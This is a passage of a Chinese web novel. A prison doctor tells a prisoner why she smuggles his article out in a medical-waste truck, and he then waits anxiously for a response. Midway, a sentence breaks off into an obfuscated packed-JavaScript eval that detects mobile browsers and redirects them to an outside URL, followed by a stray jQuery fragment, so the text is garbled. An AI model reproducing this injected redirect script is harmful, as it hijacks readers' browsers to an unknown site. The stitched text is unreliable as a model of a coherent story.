苏念晚接过包裹，掂了掂。


    不重，但握在手里，像握了块烧红的炭。


    “今天下午三点，车会来。”


    她把包裹塞进白大褂内侧一个特制的暗袋里——那袋口开在腋下，很隐蔽，不贴身搜根本发现不了。


    “老陈会把这个袋子单独放在驾驶座下面。到了处理中心，他会‘不小心’把它落下，带回去，然后寄到你想要寄的地址。”


    她说得很流畅，显然是反复盘算过的。


    林燃听懂了。


    这是一场**。筹码是他的文章，是苏念晚的前途，是老陈的工作。


    赢面很小。


    但总比没有强。


    “为什么？”林燃忽然问。


    苏念晚愣了一下：“什么为什么？”


    “为什么冒这么大险？”林燃看着她，“那一万块，你不欠我什么。那是交易。”


    苏念晚沉默了。


    她转身走到水池边，拧开水龙头。水流哗哗地冲在手上，她挤了点洗手液，慢慢地搓，搓得指关节发红。


    “我母亲确诊尿毒症那天，是个下雨天。”


    她忽然开口，声音在水声里显得有些飘，“我从医院出来，站在街边，看着车来车往，不知道去哪筹钱。透析一次八百，一周三次，一个月就得上万。我那点工资，连零头都不够。”


    她关掉水龙头，甩了甩手，水珠溅在陶瓷池壁上。


    “后来我接了第一个犯人的‘生意’——帮他伪造病历，申请保外就医，收了五千。那天晚上，我对着那一沓钱，吐了。”


    苏念晚扯了扯嘴角，“真的吐了，吐得胆汁都出来了。我觉得自己脏，不配穿这身白大褂。”


    她转过身，背靠着水池，看着林燃。


    “后来有了第二个，第三个……吐着吐着，就习惯了。有时候半夜惊醒，我会想，如果我母亲知道这些钱是怎么来的，她会不会宁可死，也不愿意用？”


    林燃没说话。


    “但你那笔钱不一样。”


    苏念晚继续说，声音很轻，但很清晰，“那是你拼命挣的，是你差点把命搭进去换来的。你本可以拿它去打点关系，去减刑，去做任何对你自己有利的事——但你给了我。”


    她顿了顿，眼睛里有水光闪了闪，但很快又压下去了。


    “那是我母亲生病以来，我拿得最干净的一笔钱。”她说，“就为这个，我欠你的。”


    处置室里又安静下来。


    远处有犯人推着垃圾车经过，车轮碾过水泥地面，发出单调的隆隆声。


    林燃从处置床上站起来，左腿的伤让他晃了一下，但很快站稳。


    他走到苏念晚面前，两人隔着一步的距离。


    “你如果被发现替犯人传递信件，那你会被开除……”


    苏念晚抬起眼，迎上他的目光：“那又怎样？”


    林燃沉默了。


    他看着眼前这个女人——白大褂洗得发旧，袖口有消毒水漂白留下的痕迹；头发在脑后挽得一丝不苟，但鬓角有几根碎发，没拢进去；眼睛很亮，眼底有血丝，但那亮光底下，有种他很久没见过的、一股天真的执拗。


    “谢谢。”林燃最终说，转身朝门口走去。


    …………


    下午三点整。


    一辆白色厢式货车缓缓驶进内院，停在医务室后门。车身上印着红色的“医疗废物专用”字样，还有个醒目的生物危害标志。


    司机是个五十来岁的男人，穿着深蓝色工装，戴着口罩和橡胶手套。他跳下车，动作麻利地打开后厢门，开始搬运那些蓝色废物桶。


    苏念晚从医务室后门出来了。


    她换了那声熟悉的白大褂，头发扎成马尾，脸上戴着医用口罩。


    手里推着个带轮子的转运车，车上放着两个额外的废物袋。


    林燃看见她和司机说了句什么，司机点点头，接过转运车上的袋子，扔进车厢。


    就在司机转身去搬下一个桶时，苏念晚那个隐秘的口袋里，似乎“不小心”掉出一个黑色的小袋子。


    袋子掉在地上，发出轻微的闷响。


    司机回头看了一眼，苏念晚连忙弯腰捡起来，拍了拍灰，塞到驾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212199|197428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    驶座下面。


    整个过程，不到三秒。


    自然得像每天都在发生的、无意义的琐碎动作。


    司机搬完所有桶，关上后厢门，跳回驾驶座。货车发动，排气管喷出一股白烟，缓缓驶离。


    苏念晚站在后门口，看着货车远去，直到它拐过监舍楼的拐角，消失在视野里。


    然后她转身，推着空转运车，回了医务室。


    门关上了。


    文章寄出去了。


    而现在林燃能做的，只有等。


    等那封信穿过监狱的高墙，穿过城市的街道，穿过省高院森严的大门，最终落在一个陌生人的办公桌上。


    等那个陌生人，会不会在某个百无聊赖的下午，随手拆开一个脏兮兮的袋子，抽出里面那沓皱巴巴的稿纸。


    等他会不会因为标题多看一眼，因为某个观点皱一下眉，因为某个案例沉吟片刻。


    然后，等他会不会提起笔，在稿纸边缘批注几个字，或者拿起电话，说一句：“小张，帮我查查安江监狱这个犯人。”


    这是一条由巧合、人情、冒险和渺茫希望串成的链条。


    任何一环断裂，都会前功尽弃。


    但至少，链子已经抛出去了。


    文章寄出去的头三天，林燃睡得很少。


    不是不想睡，是身体里那根弦还绷着，松不下来。


    夜里躺下，闭上眼，黑暗里全是稿纸上的字，一个个浮起来，扭动着，变成姚永军那张模糊的脸。


    他得强迫自己数数。


    从一数到一百，再从一百倒着数回来。


    有时候数到一半，脑子里会突然冒出来个念头——那封信，现在到哪儿了？


    是在垃圾处理中心那堆沾着血污的纱布里埋着，还是已经被人捡出来，正往邮局送？


    然后就得从头再数。


    刀疤辉的呼噜声在对面下铺响得很有节奏，像台老旧拖拉机。周晓阳睡觉老实，但偶尔会磨牙，咯吱咯吱的，听着牙酸。麻杆和牛哥挤在靠门那张铺上，翻身时床板吱呀响。


    这些都是活着的证据。